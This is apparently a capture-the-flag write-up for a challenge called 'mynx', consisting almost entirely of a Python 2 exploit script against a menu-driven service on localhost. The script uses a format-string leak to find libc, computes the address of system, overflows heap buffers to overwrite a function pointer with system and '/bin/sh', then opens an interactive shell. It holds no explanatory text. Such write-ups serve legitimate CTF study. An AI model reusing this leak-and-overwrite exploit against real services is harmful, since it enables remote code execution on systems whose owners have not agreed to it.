mynx writeup

#!/usr/bin/python
 
from socket import *
from struct import *
from time   import *
 
p = lambda x : pack("<L",x)
 
printf_addr = 0x08048420
fmt        = "%11$08x"
 
libc = 0
 
__libc_main_addr = 0
__libc_main_offset = 0x19990
 
system_addr = 0
system_offset = 0x40190
 
def cus_send(s,b):
    s.send(b)
    sleep(0.3)
    s.recv(1024)
 
def cus_send_sh(s,b):
    s.send(b)
    sleep(0.3)
    print s.recv(1024)
 
s = socket(AF_INET,SOCK_STREAM)
 
#LIBC LEAK START
print "[*] libc leak start"
s.connect(('localhost',49494))    
 
cus_send(s,"1\n")
cus_send(s,"1\n")
cus_send(s,"DUMM\n")
 
cus_send(s,"3\n")
cus_send(s,"1\n")
cus_send(s,"1\n")
cus_send(s,"DUMM\n")
cus_send(s,"0\n")
 
cus_send(s,"1\n")
cus_send(s,"1\n")
cus_send(s,"DUMM\n")
 
cus_send(s,"3\n")
cus_send(s,"1\n")
cus_send(s,"1\n")
cus_send(s,"DUMM\n")
cus_send(s,"0\n")
 
cus_send(s,"3\n")
cus_send(s,"2\n")
cus_send(s,"1\n")
cus_send(s,p(printf_addr)+fmt+"\n")
cus_send(s,"0\n")
 
cus_send(s,"3\n")
cus_send(s,"1\n")
cus_send(s,"2\n")
 
cus_send(s,"1\n")
cus_send(s,"A"*251+"\x37"+"\n")
 
cus_send(s,"3\n")
cus_send(s,"1\n")
cus_send(s,"1\n")
cus_send(s,"A"*251+"\x49"+"\n")
 
cus_send(s,"3\n")
cus_send(s,"2\n")
s.send("3\n")
__libc_main_addr = int(s.recv(1024)[:8],16)-243
libc = __libc_main_addr - __libc_main_offset
system_addr = libc + system_offset
 
print "[+] __libc_main leaked :",hex(__libc_main_addr)
print "[*] libc               :",hex(libc)
print "[*] system             :",hex(system_addr)
 
cus_send(s,"0\n")
 
print "[*] Start Exploit"
cus_send(s,"1\n")
cus_send(s,"1\n")
cus_send(s,"DUMM\n")
 
cus_send(s,"3\n")
cus_send(s,"3\n")
cus_send(s,"1\n")
cus_send(s,"DUMM\n")
cus_send(s,"0\n")
 
cus_send(s,"1\n")
cus_send(s,"1\n")
cus_send(s,"DUMM\n")
 
cus_send(s,"3\n")
cus_send(s,"3\n")
cus_send(s,"1\n")
cus_send(s,"DUMM\n")
cus_send(s,"0\n")
 
cus_send(s,"3\n")
cus_send(s,"4\n")
cus_send(s,"1\n")
cus_send(s,p(system_addr)+"/bin/sh"+"\n")
cus_send(s,"0\n")
 
cus_send(s,"3\n")
cus_send(s,"3\n")
cus_send(s,"2\n")
 
cus_send(s,"1\n")
cus_send(s,"A"*251+"\x37"+"\n")
 
cus_send(s,"3\n")
cus_send(s,"3\n")
cus_send(s,"1\n")
cus_send(s,"A"*251+"\x49"+"\n")
 
cus_send(s,"3\n")
cus_send(s,"4\n")
s.send("3\n")
 
print "[+] Shell Drop!"
 
while 1:
    cus_send_sh(s,raw_input(">>> ")+"\n")
 
s.close()

my